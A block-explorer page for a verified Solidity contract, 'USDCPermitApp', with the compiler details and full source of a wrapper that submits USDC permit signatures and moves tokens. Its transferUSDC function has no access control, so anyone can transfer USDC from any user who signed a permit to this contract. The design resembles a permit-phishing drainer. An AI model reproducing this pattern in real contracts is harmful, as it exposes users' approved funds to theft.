Skip to content
Verified contractExactMIT

USDCPermitApp

Address0x7978b405d7eac5859a099a2335ebdead8bdcee4e
Balance

0 ETH

 

Transactions

2

 

Compiler

solc 0.8.31

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.31+commit.fd3a2265
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
24,553,958
Creation transaction
0xd8c86a3ea7…586b157dee

合约/USDCPermitManager1201B.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract USDCPermitApp {
    address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

    // 只有两个核心方法,没有任何额外逻辑授权
    function submitPermit(
        address owner,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (bool) {
        emit Debug("Before permit", owner, address(this), value);

        (bool success,) = USDC.call(abi.encodeWithSignature(
            "permit(address,address,uint256,uint256,uint8,bytes32,bytes32)",
            owner, address(this), value, deadline, v, r, s
        ));

        emit Debug("After permit", owner, address(this), success ? 1 : 0);

        require(success, "USDCManager: permit failed");

        return success;
    }

    event Debug(string message, address owner, address spender, uint256 value);
    //转账
    function transferUSDC(
        address from,
        address to,
        uint256 value
    ) external returns (bool) {
        (bool success, ) = USDC.call(abi.encodeWithSignature(
            "transferFrom(address,address,uint256)", from, to, value
        ));
        return success;
    }
}
Compiler settingsShow
{
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": false
  }
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.